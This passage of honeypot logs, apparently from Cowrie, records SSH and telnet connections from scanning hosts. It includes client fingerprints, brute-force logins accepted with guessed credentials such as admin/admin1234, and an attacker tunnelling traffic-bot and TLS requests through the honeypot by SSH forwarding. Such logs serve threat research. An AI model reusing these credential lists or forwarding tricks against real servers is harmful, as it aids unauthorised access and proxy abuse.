\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xec\\xd6\\x0c\\xef\\x0el2\\xe3\\xe6\\xc3\\x87Y*Dh\\xc3\\xb0\\xfc\\xce\\xca\\x9d\\xcb\\xfd\\xf3\\xf37u\\x8c\\xe8\\xd2x#\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:23.966240Z","src_ip":"123.27.168.40","session":"c12f97787e68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:24.343200Z","src_ip":"123.27.168.40","session":"c12f97787e68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:24.654415Z","src_ip":"101.79.165.43","session":"8a3f16e0a824","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.43","src_port":56564,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fd24d5232cf","protocol":"ssh","message":"New connection: 101.79.165.43:56564 (159.203.135.109:22) [session: 7fd24d5232cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:24.867726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:24.872518Z","src_ip":"101.79.165.43","session":"7fd24d5232cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:25.090893Z","src_ip":"101.79.165.43","session":"7fd24d5232cf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:25.992023Z","src_ip":"101.79.165.43","session":"7fd24d5232cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:26.215706Z","src_ip":"101.79.165.43","session":"b5358daf4546","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:26.219475Z","src_ip":"101.79.165.43","session":"7fd24d5232cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.51","src_port":59947,"dst_ip":"10.17.0.5","dst_port":22,"session":"79a79c96f9a8","protocol":"ssh","message":"New connection: 23.175.50.51:59947 (10.17.0.5:22) [session: 79a79c96f9a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:34.722916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:34.727174Z","src_ip":"23.175.50.51","session":"79a79c96f9a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:34.918327Z","src_ip":"23.175.50.51","session":"79a79c96f9a8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:36.635878Z","src_ip":"23.175.50.51","session":"79a79c96f9a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.439258337020874,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:40.055104Z","src_ip":"172.81.62.90","session":"d74ba0be02bd","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:44.798177Z","session":"79a79c96f9a8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:44.856694Z","src_ip":"23.175.50.51","session":"79a79c96f9a8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.1 Mobile/16A404 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1202\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=ZDJFNk5xSUYlS1FUekxnJg%3D%3DVkUB5%2FzGBvW3WavHEv0i%2FE9w3l465kAYOKk367%2Bz854W5GK%2BEZgU8YBC2zgJRrMj9ZHMIEaDmtYs8NhRp23o73LMT5a0kFDkuLRvHDMaiDOXWOHY%2BvY6NtYLkhnewIGb298JCv%2Bjk5C50P4qDn3dEDEfm63lN6KQTUeQCuc6Pmql9UjvZO0%2BXa%2BSHXwzA%2BiJ7B3b4NtgYaQc2BLzLlOYwZbOVi4sI2gUsnIVGOcZq4oWPLnAkaQA1VnGSJvdJOLgV%2Fchkvqz9yG%2BpDoI9cRad3IIX5lMHB7nxzIi1MJY0mU0A5EymYJDsAA4NKj5HIvG%2By4NkTQNLDCfTgv9wESxtHtZ22ewpb9iqn%2B4R%2FKEe%2BUNsJ00LTw6hXvFNXxBMs3qc4iKUEhZwQrWN0yIPqKae2nCieZjLIxU8Zmvz5V8v8Lr%2BCw3YmRpEYoPF3HNUhjJecd2iXc0ROpJrotDj0%2B%2BQ%2BlWTkz9lmwSKsG8lxlT7Dv3OiDGpQj%2FWC0JkAA71VqOhgzhte1MC0anDu1EUgZF7PypRutlZ4kBsFq4Hc9yeVePzqqyr5yYPxVVMPBybvJJUGYzjDfoxUl%2B6%2F2nUrukVIIvjN%2FSAxQqSiynmNfTj9VM2xnWtmNEOEZg6z41h622R3wYEv3heKLqzget1DMP1%2FldQET8xoZnc0%2BMC%2F2418AlR09ThLVoIBSZZbnNEY%2FkUkwIVMuDQ21MLZvXVdxJPielHbBjGTbYOuxkBc3zig1hzkUKsijqdDUoTESNo61Hwbx0o%2FGMRpyhkJO6EEd7%2F4XeHKF8iuLX88KdoPBXC2nxzNtqfGIlNf%2BuwPpBM0o%2Fhmmba%2Fy1GswkjqIZEdEZ1i44J%2FRIQrsPLsu3%2Fu6lrKqNieMbqjTct7VkfcJkjjgOT8TVXnk9RgbKWRtkFENuDV3pm3WND7vBSjsHTBNpHBodpo26isbMpNy49%2FuriWsEGsgxitjj33X38QHsFrMAke%2FrxicWFLZYR06%2Fi%2Fxpgovg%2FgYknI%2BQcqU%2BXDofSf7ZBrfYHDEtK3uVbKIJYgT2fO9U07W2fXhHbinVkzQM1PXHFRqmRL5puNtAfAWg3%2BrH'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.1 Mobile/16A404 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1202\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=ZDJFNk5xSUYlS1FUekxnJg%3D%3DVkUB5%2FzGBvW3WavHEv0i%2FE9w3l465kAYOKk367%2Bz854W5GK%2BEZgU8YBC2zgJRrMj9ZHMIEaDmtYs8NhRp23o73LMT5a0kFDkuLRvHDMaiDOXWOHY%2BvY6NtYLkhnewIGb298JCv%2Bjk5C50P4qDn3dEDEfm63lN6KQTUeQCuc6Pmql9UjvZO0%2BXa%2BSHXwzA%2BiJ7B3b4NtgYaQc2BLzLlOYwZbOVi4sI2gUsnIVGOcZq4oWPLnAkaQA1VnGSJvdJOLgV%2Fchkvqz9yG%2BpDoI9cRad3IIX5lMHB7nxzIi1MJY0mU0A5EymYJDsAA4NKj5HIvG%2By4NkTQNLDCfTgv9wESxtHtZ22ewpb9iqn%2B4R%2FKEe%2BUNsJ00LTw6hXvFNXxBMs3qc4iKUEhZwQrWN0yIPqKae2nCieZjLIxU8Zmvz5V8v8Lr%2BCw3YmRpEYoPF3HNUhjJecd2iXc0ROpJrotDj0%2B%2BQ%2BlWTkz9lmwSKsG8lxlT7Dv3OiDGpQj%2FWC0JkAA71VqOhgzhte1MC0anDu1EUgZF7PypRutlZ4kBsFq4Hc9yeVePzqqyr5yYPxVVMPBybvJJUGYzjDfoxUl%2B6%2F2nUrukVIIvjN%2FSAxQqSiynmNfTj9VM2xnWtmNEOEZg6z41h622R3wYEv3heKLqzget1DMP1%2FldQET8xoZnc0%2BMC%2F2418AlR09ThLVoIBSZZbnNEY%2FkUkwIVMuDQ21MLZvXVdxJPielHbBjGTbYOuxkBc3zig1hzkUKsijqdDUoTESNo61Hwbx0o%2FGMRpyhkJO6EEd7%2F4XeHKF8iuLX88KdoPBXC2nxzNtqfGIlNf%2BuwPpBM0o%2Fhmmba%2Fy1GswkjqIZEdEZ1i44J%2FRIQrsPLsu3%2Fu6lrKqNieMbqjTct7VkfcJkjjgOT8TVXnk9RgbKWRtkFENuDV3pm3WND7vBSjsHTBNpHBodpo26isbMpNy49%2FuriWsEGsgxitjj33X38QHsFrMAke%2FrxicWFLZYR06%2Fi%2Fxpgovg%2FgYknI%2BQcqU%2BXDofSf7ZBrfYHDEtK3uVbKIJYgT2fO9U07W2fXhHbinVkzQM1PXHFRqmRL5puNtAfAWg3%2BrH'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:44.859956Z","src_ip":"23.175.50.51","session":"79a79c96f9a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.27833914756775,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:45.156106Z","src_ip":"103.249.87.183","session":"5f8b12ca4d9c","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:45.613894Z","session":"79a79c96f9a8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:45.672230Z","src_ip":"23.175.50.51","session":"79a79c96f9a8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1e%\\xf4\\xc8\\x87E\\x81\\x96r\\xb1t7\\xf8QW\\x7f\\x1fD\\x7fhr|\\x9b\\xf8a\\x93\\xf2\\x9b!\\xc2\\xe9{ \\xbc\\x95\\xfb\\xa0\\xfd\\xcc\\xf4d\\x18\\x06O/\\xfdP8\\x1f\\x9a\\xe2\\x9c*\\xf1\\rr\\xc1\\xc5\\xc7\\x92\\x06:2\\x98\\xf4\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xdewAZ\\xeeF\\x14\\xdc\\x14M\\x00\\xe7-,N\\xe2\\x18\\x18Z;\\x17\\x8d\\x9a\\xb4h\\x91G\\xdb\\xbdn.a\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1e%\\xf4\\xc8\\x87E\\x81\\x96r\\xb1t7\\xf8QW\\x7f\\x1fD\\x7fhr|\\x9b\\xf8a\\x93\\xf2\\x9b!\\xc2\\xe9{ \\xbc\\x95\\xfb\\xa0\\xfd\\xcc\\xf4d\\x18\\x06O/\\xfdP8\\x1f\\x9a\\xe2\\x9c*\\xf1\\rr\\xc1\\xc5\\xc7\\x92\\x06:2\\x98\\xf4\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xdewAZ\\xeeF\\x14\\xdc\\x14M\\x00\\xe7-,N\\xe2\\x18\\x18Z;\\x17\\x8d\\x9a\\xb4h\\x91G\\xdb\\xbdn.a\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:45.676978Z","src_ip":"23.175.50.51","session":"79a79c96f9a8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:45.815419Z","session":"79a79c96f9a8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:45.876038Z","src_ip":"23.175.50.51","session":"79a79c96f9a8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb1\\xaeJ\\x1f\\xd2\\xb6&\\x1f\\xe8\\xd3W\\xbd\\x80\\'\\xa3wb\\xbf\\x8d\\x17\\x87\\xdfi\\xa6\\xeb\\xb5A\\xc51q|\\xed \\xea9w\\xe9\\x03;\\xf4{\\x177\\xc2e\\xfa\\xfd\\x8b\\xfc\\x1e\\xb3\\xdbO\\xf0\\xaa\\x80\\xd7\\x88\\x0bL\\xe1\\x1c9\\\\\\xac\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 